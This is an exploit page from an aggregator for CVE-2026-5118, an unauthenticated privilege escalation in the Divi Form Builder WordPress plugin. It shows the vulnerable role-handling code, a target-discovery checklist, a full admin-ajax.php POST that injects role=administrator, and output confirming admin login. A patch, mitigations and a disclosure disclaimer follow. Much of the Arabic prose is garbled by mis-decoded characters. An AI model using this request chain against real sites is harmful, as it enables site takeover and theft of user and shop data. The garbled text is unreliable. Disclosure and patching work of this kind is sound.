Sploitus

Exploit for CVE-2026-5118

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN308 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZYCODER0DAY-CVE-2026-5118
# ๐Ÿ”ฅ CVE-2026-5118

### Divi Form Builder <= 5.1.2 โ€” ุชุตุนูŠุฏ ุงู„ุงู…ุชูŠุงุฒุงุช ุจุฏูˆู† ู…ุตุงุฏู‚ุฉ

![](https://img.shields.io/badge/Severity-CRITICAL-red?style=for-the-badge) ![](https://img.shields.io/badge/CVSS-9.8-critical?style=for-the-badge&color=red) ![](https://img.shields.io/badge/CWE-266-orange?style=for-the-badge) ![](https://img.shields.io/badge/Status-Unauthenticated-blue?style=for-the-badge)

* * *

## ๐ŸŽฏ ู…ู„ุฎุต

ุชุญุชูˆูŠ ุฅุถุงูุฉ WordPress **Divi Form Builder** (ุงู„ุฅุตุฏุงุฑ **5.1.2 ูˆุงู„ุฅุตุฏุงุฑุงุช ุงู„ุฃู‚ุฏู…**) ุนู„ู‰ ุซุบุฑุฉ **ุญุฑุฌุฉ (Critical)** ุชุชูŠุญ **ู„ู…ู‡ุงุฌู… ุจุฏูˆู† ู…ุตุงุฏู‚ุฉ** ุฅู†ุดุงุก ุญุณุงุจ **Administrator** ู…ุจุงุดุฑุฉ ุนุจุฑ ู†ู…ูˆุฐุฌ ุงู„ุชุณุฌูŠู„.

> ุญู‚ู„ ู…ุฎููŠ ูˆุงุญุฏ. ู‚ูŠู…ุฉ ูˆุงุญุฏุฉ ูŠุชู… ุชุบูŠูŠุฑู‡ุง. ูˆุตูˆู„ ูƒุงู…ู„ ุฅู„ู‰ ุงู„ู…ูˆู‚ุน ุจุฃูƒู…ู„ู‡.

* * *

## ๐Ÿงจ ู…ุงุฐุง ูŠู…ูƒู† ู„ู„ู…ู‡ุงุฌู… ุฃู† ูŠูุนู„ุŸ

ุงู„ู‚ุฏุฑุฉ| ุงู„ุฃุซุฑ  
---|---  
๐Ÿ”‘ ุฅู†ุดุงุก ุญุณุงุจ ู…ุณุคูˆู„ ุจุฏูˆู† ุชุณุฌูŠู„ ุงู„ุฏุฎูˆู„| **ุงู„ุงุณุชูŠู„ุงุก ุงู„ูƒุงู…ู„ ุนู„ู‰ ุงู„ู…ูˆู‚ุน**  
๐Ÿ“ฆ ุงู„ูˆุตูˆู„ ุฅู„ู‰ ุจูŠุงู†ุงุช ุนู…ู„ุงุก WooCommerce| **ุฎุฑู‚ ุงู„ุจูŠุงู†ุงุช**  
๐Ÿ’‰ ุชุนุฏูŠู„ ู…ู„ูุงุช ุงู„ุฅุถุงูุฉ/ุงู„ู‚ุงู„ุจ (PHP)| **ุชู†ููŠุฐ ูƒูˆุฏ ุนู† ุจูุนุฏ**  
๐Ÿ•ณ๏ธ ุฅู†ุดุงุก ุจุงุจ ุฎู„ููŠ ู…ุฎููŠ| **ูˆุตูˆู„ ุฏุงุฆู…**  
๐Ÿ‘ฅ ุนุฑุถ ุฌู…ูŠุน ุจูŠุงู†ุงุช ุงู„ู…ุณุชุฎุฏู…ูŠู†| **ุงู†ุชู‡ุงูƒ ุงู„ุฎุตูˆุตูŠุฉ**  
  
* * *

## ๐Ÿ”ฌ ุชุญู„ูŠู„ ุงู„ุซุบุฑุฉ

### ู…ูˆู‚ุน ุงู„ุซุบุฑุฉ

root@kitploit:~
    
    
    includes/shared/handlers/FormSubmissionHandler.php โ†’ create_user()
    

### ุงู„ูƒูˆุฏ ุงู„ุถุนูŠู

root@kitploit:~
    
    
    // Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
    $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
    
    // Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
    $roles_obj = function_exists('wp_roles') ? wp_roles() : null;
    if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
        && !isset($roles_obj->roles[$role])) {
        $role = 'subscriber';
    }
    
    // Baris ~1745: Langsung terapkan role yang diinjeksi!
    $user = new WP_User($user_id);
    $user->set_role($role);  // โ† "administrator" langsung diterapkan
    

### ู„ู…ุงุฐุง ูŠู†ุฌุญ ู‡ุฐุงุŸ

root@kitploit:~
    
    
                        ALUR VALIDASI YANG BERMASALAH
      โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
      โ”‚  Penyerang kirim: role=administrator                โ”‚
      โ”‚                    โ†“                                  โ”‚
      โ”‚  sanitize_text_field() โ†’ "administrator" (bersih)   โ”‚
      โ”‚                    โ†“                                  โ”‚
      โ”‚  isset($roles_obj->roles["administrator"]) โ†’ TRUE   โ”‚ โ† BUG! Hanya cek ADA/TIDAK
      โ”‚                    โ†“                                  โ”‚
      โ”‚  $user->set_role("administrator") โ†’ ADMIN PENUH!    โ”‚ โ† PRIVESC!
      โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    
      "administrator" ADALAH role yang valid di WordPress,
      jadi validasi isset() SELALU return true.
      Fungsi ini TIDAK PERNAH menolak role berbahaya.
    

### ู†ุงู‚ู„ ุงู„ู‡ุฌูˆู…

ูŠุญุชูˆูŠ ู†ู…ูˆุฐุฌ ุชุณุฌูŠู„ DFB ุนู„ู‰ ุญู‚ู„ ุฅุฏุฎุงู„ ู…ุฎููŠ (hidden input):

root@kitploit:~
    
    
    <!-- Nilai asli dari developer -->
    <input class="df_hidden_user_role" type="hidden" name="role" value="customer">
    
    <!-- Penyerang cukup ubah value-nya -->
    <input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
    

* * *

## ๐Ÿ› ๏ธ ุฅุซุจุงุช ุงู„ู…ูู‡ูˆู… โ€” ุณู„ุณู„ุฉ ุงู„ู‡ุฌูˆู…

### ุงู„ู…ุฑุญู„ุฉ 1: ุงู„ู‡ู†ุฏุณุฉ โ€” ุงูƒุชุดุงู ุงู„ู‡ุฏู

root@kitploit:~
    
    
    [โ˜…] Target Discovery: Divi Form Builder indicator
        โ”œโ”€โ”€ Endpoint scan: 50+ path registrasi
        โ”œโ”€โ”€ Homepage link crawl: keyword priority
        โ”œโ”€โ”€ REST API: /wp-json/wp/v2/pages?search=register
        โ”œโ”€โ”€ Sitemap parsing: XML sitemap URLs
        โ”œโ”€โ”€ DFB REST API: /wp-json/divi-form-builder/v1
        โ”œโ”€โ”€ AJAX probe: de_fb_ajax_submit_ajax_handler
        โ”œโ”€โ”€ WooCommerce: /my-account/ sub-pages
        โ”œโ”€โ”€ robots.txt: custom sitemaps + disallow
        โ”œโ”€โ”€ Contact pages: DFB forms tersembunyi
        โ””โ”€โ”€ wp-json deep: content-first scan
        
    [โœ“] Ditemukan: <input class="df_hidden_user_role" value="customer">
    [โœ“] Versi plugin: v4.1.9 (VULNERABLE)
    [โœ“] Form multi-step dengan reCAPTCHA v3
    

### ุงู„ู…ุฑุญู„ุฉ 2: ุงุณุชุฎุฑุงุฌ ู…ุนุงู…ู„ุงุช ุงู„ู†ู…ูˆุฐุฌ

root@kitploit:~
    
    
    Parameter yang diperlukan:
      โ”œโ”€โ”€ fb_nonce:        [dari hidden input / de_fb_obj]
      โ”œโ”€โ”€ form_key:        [dari hidden input]
      โ”œโ”€โ”€ form_type:       register
      โ”œโ”€โ”€ divi-form-submit: yes
      โ””โ”€โ”€ role:            [INJEKSI: administrator]
    
    Field pemetaan:
      โ”œโ”€โ”€ de_fb_user_login + user_login    (kedua varian wajib)
      โ”œโ”€โ”€ de_fb_user_email + user_email    
      โ”œโ”€โ”€ de_fb_user_pass  + user_pass     
      โ””โ”€โ”€ de_fb_pass_repeat               
    

### ุงู„ู…ุฑุญู„ุฉ 3: ุญู‚ู† ุงู„ุฏูˆุฑ โ€” ุชุตุนูŠุฏ ุงู„ุงู…ุชูŠุงุฒุงุช

root@kitploit:~
    
    
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: multipart/form-data; boundary=----POC
    X-Requested-With: XMLHttpRequest
    
    ------POC
    Content-Disposition: form-data; name="action"
    
    de_fb_ajax_submit_ajax_handler
    ------POC
    Content-Disposition: form-data; name="fb_nonce"
    
    [nonce_dari_form]
    ------POC
    Content-Disposition: form-data; name="role"
    
    administrator
    ------POC
    Content-Disposition: form-data; name="form_type"
    
    register
    ------POC
    Content-Disposition: form-data; name="divi-form-submit"
    
    yes
    ------POC
    Content-Disposition: form-data; name="de_fb_user_login"
    
    attacker1337
    ------POC
    Content-Disposition: form-data; name="user_login"
    
    attacker1337
    ------POC
    Content-Disposition: form-data; name="de_fb_user_pass"
    
    Str0ngP@ss!
    ------POC
    Content-Disposition: form-data; name="user_pass"
    
    Str0ngP@ss!
    ------POC
    Content-Disposition: form-data; name="de_fb_user_email"
    
    some-email@example.com
    ------POC
    Content-Disposition: form-data; name="user_email"
    
    some-email@example.com
    ------POC--
    

### ุงู„ู…ุฑุญู„ุฉ 4: ุงู„ุชุญู‚ู‚ โ€” ูˆุตูˆู„ ุงู„ู…ุณุคูˆู„

root@kitploit:~
    
    
    [โ†’] POST /wp-login.php
        user_login=attacker1337&user_pass=Str0ngP@ss!
    
    [โ†] HTTP 302 โ†’ /wp-admin/
    
    [โœ“] FULL ADMINISTRATOR ACCESS CONFIRMED
        โ”œโ”€โ”€ Dashboard: /wp-admin/
        โ”œโ”€โ”€ Users:     Can create/delete any user
        โ”œโ”€โ”€ Plugins:   Can install/activate/edit PHP
        โ”œโ”€โ”€ Themes:    Can edit template files โ†’ RCE
        โ””โ”€โ”€ Settings:  Full site control
    

* * *

## ๐Ÿงช ุงู„ุชุญู‚ู‚ ุงู„ู…ุฎุจุฑูŠ

ุชู… ุฅุฌุฑุงุก ุงู„ุงุฎุชุจุงุฑ ููŠ **ุจูŠุฆุฉ Docker ู…ุนุฒูˆู„ุฉ** (WordPress 6.5 + DFB v5.0.0):

root@kitploit:~
    
    
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  LAB VERIFICATION RESULTS                              โ•‘
    โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ
    โ•‘  Method: AJAX (admin-ajax.php)                        โ•‘
    โ•‘  Role injected: administrator                          โ•‘
    โ•‘  Response: "Registration successful!"                  โ•‘
    โ•‘  Login: HTTP 302 โ†’ /wp-admin/ โœ“                       โ•‘
    โ•‘  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€     โ•‘
    โ•‘  Method: Form POST (direct submission)                 โ•‘
    โ•‘  Role injected: administrator                          โ•‘
    โ•‘  Response: "Registration successful!"                  โ•‘
    โ•‘  Login: HTTP 302 โ†’ /wp-admin/ โœ“                       โ•‘
    โ•‘  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€     โ•‘
    โ•‘  Status: โ˜… PWNED โ€” Full Admin Access โ˜…               โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    

## ๐Ÿ”ง ุงู„ุฅุตู„ุงุญ ุงู„ู…ูˆุตู‰ ุจู‡

### ุงู„ุญู„: ู‚ุงุฆู…ุฉ ุงู„ุณู…ุงุญ ู„ุฃุฏูˆุงุฑ ุงู„ุชุณุฌูŠู„

root@kitploit:~
    
    
    // SEBELUM (rentan):
    $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
    $roles_obj = function_exists('wp_roles') ? wp_roles() : null;
    if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
        && !isset($roles_obj->roles[$role])) {
        $role = 'subscriber';  // โ† Hanya cek ADA, bukan AMAN
    }
    
    // SESUDAH (aman):
    $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
    
    // Hanya izinkan role yang aman untuk registrasi publik
    $allowed_registration_roles = array('subscriber', 'contributor');
    if (!in_array($role, $allowed_registration_roles, true)) {
        $role = 'subscriber';  // โ† Tolak semua role berbahaya
    }
    

### ุฎุทูˆุงุช ุฅุถุงููŠุฉ

  1. **ุฅุฒุงู„ุฉ ู…ุนุงู…ู„`role` ู…ู† ู†ู…ูˆุฐุฌ ุงู„ูˆุงุฌู‡ุฉ ุงู„ุฃู…ุงู…ูŠุฉ** โ€” ุงุณุชุฎุฏุงู… `default_user_role` ุงู„ู…ูˆุฌูˆุฏ ู…ุณุจู‚ู‹ุง
  2. **ุฅุถุงูุฉ ุชุญู‚ู‚ ุตุงุฑู… ู…ู† nonce** ููŠ ู…ุนุงู„ุฌ AJAX
  3. **ุฅุถุงูุฉ ูุญุต ุงู„ุตู„ุงุญูŠุงุช** `current_user_can('create_users')` ู„ู„ุฃุฏูˆุงุฑ ุงู„ุฎุงุตุฉ
  4. **ุชุญุฏูŠุฏ ู…ุนุฏู„ ุงู„ุทู„ุจุงุช (Rate limiting)** ุนู„ู‰ ู†ู‚ุทุฉ ู†ู‡ุงูŠุฉ ุงู„ุชุณุฌูŠู„ ู„ู…ู†ุน ู‡ุฌู…ุงุช ุงู„ู‚ูˆุฉ ุงู„ุบุงุดู…ุฉ (brute-force)



* * *

## ๐Ÿ“Š ุงู„ุฌุฏูˆู„ ุงู„ุฒู…ู†ูŠ

ุงู„ุชุงุฑูŠุฎ| ุงู„ุญุฏุซ  
---|---  
2026-04-13| ุชู… ุฅุตุฏุงุฑ ุงู„ุฅุตุฏุงุฑ 5.1.3 (ุฅุตู„ุงุญ ู…ุญุชู…ู„ ุจู†ุงุกู‹ ุนู„ู‰ ุณุฌู„ ุงู„ุชุบูŠูŠุฑุงุช)  
2026-05-21| ุชู… ุงู„ุชุญู‚ู‚ ู…ู† ุงู„ุซุบุฑุฉ ุจุดูƒู„ ู…ุณุชู‚ู„ ููŠ ู…ุฎุชุจุฑ ู…ุนุฒูˆู„  
2026-05-21| ุชู… ุฅุฑุณุงู„ ุงู„ูƒุดู ุงู„ู…ุณุคูˆู„ ุฅู„ู‰ Divi Engine Security  
  
* * *

## ๐Ÿ›ก๏ธ ุชุฎููŠู ู…ุคู‚ุช (ู‚ุจู„ ุงู„ุชุตุญูŠุญ)

  1. **ุงู„ุชุญุฏูŠุซ ุฅู„ู‰ ุงู„ุฅุตุฏุงุฑ 5.1.3+** ุฅุฐุง ูƒุงู† ู…ุชุงุญู‹ุง
  2. **ุชุนุทูŠู„ ู†ู…ูˆุฐุฌ ุชุณุฌูŠู„ DFB** ุญุชู‰ ูŠุชู… ุชุทุจูŠู‚ ุงู„ุฅุตู„ุงุญ
  3. **ุงุณุชุฎุฏุงู… ู‚ุงุนุฏุฉ WAF** ู„ุญุธุฑ ู…ุนุงู…ู„ `role=administrator` ููŠ ุทู„ุจุงุช POST
  4. **ู…ุฑุงู‚ุจุฉ** ุฌุฏูˆู„ `wp_users` ุจุญุซู‹ุง ุนู† ุญุณุงุจุงุช ู…ุณุคูˆู„ ุฌุฏูŠุฏุฉ ุบูŠุฑ ู…ุนุฑูˆูุฉ
  5. **ุชู‚ูŠูŠุฏ ุงู„ูˆุตูˆู„** ุฅู„ู‰ `/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler`



* * *

## โš–๏ธ ุฅุฎู„ุงุก ุงู„ู…ุณุคูˆู„ูŠุฉ

ุฃูู†ุดุฆ ู‡ุฐุง ุงู„ู…ุณุชู†ุฏ ู„ุฃุบุฑุงุถ **ุงู„ุชุนู„ูŠู… ูˆุงู„ูƒุดู ุงู„ู…ุณุคูˆู„ (responsible disclosure)**. ุชู… ุชู†ููŠุฐ ุฌู…ูŠุน ุงุฎุชุจุงุฑุงุช ุงู„ุงุณุชุบู„ุงู„ ููŠ **ุจูŠุฆุฉ ู…ุฎุชุจุฑูŠุฉ ู…ุนุฒูˆู„ุฉ**. ุฃู…ุง ุนู„ู‰ ุงู„ุฃู‡ุฏุงู ุงู„ุญูŠุฉุŒ ูู‚ุฏ ุชู… ูู‚ุท **ุงู„ูƒุดู ุงู„ุณู„ุจูŠ** (ุชุญุฏูŠุฏ ุงู„ู†ู…ูˆุฐุฌ ูˆุงู„ู…ุนุงู…ู„ุงุชุŒ ุฏูˆู† ุฅุฑุณุงู„ ุฃูŠ ุจูŠุงู†ุงุช ุงุณุชุบู„ุงู„).

**ุงู„ู…ุคู„ู ุบูŠุฑ ู…ุณุคูˆู„** ุนู† ุฅุณุงุกุฉ ุงุณุชุฎุฏุงู… ุงู„ู…ุนู„ูˆู…ุงุช ุงู„ูˆุงุฑุฏุฉ ููŠ ู‡ุฐุง ุงู„ู…ุณุชู†ุฏ.

* * *

**CVE-2026-5118** โ€ข Divi Form Builder โ‰ค 5.1.2 โ€ข ุชุตุนูŠุฏ ุงู„ุงู…ุชูŠุงุฒุงุช ุจุฏูˆู† ู…ุตุงุฏู‚ุฉ  
ุชู… ุงู„ุงูƒุชุดุงู ูˆุงู„ุชุญู‚ู‚: 2026-05-21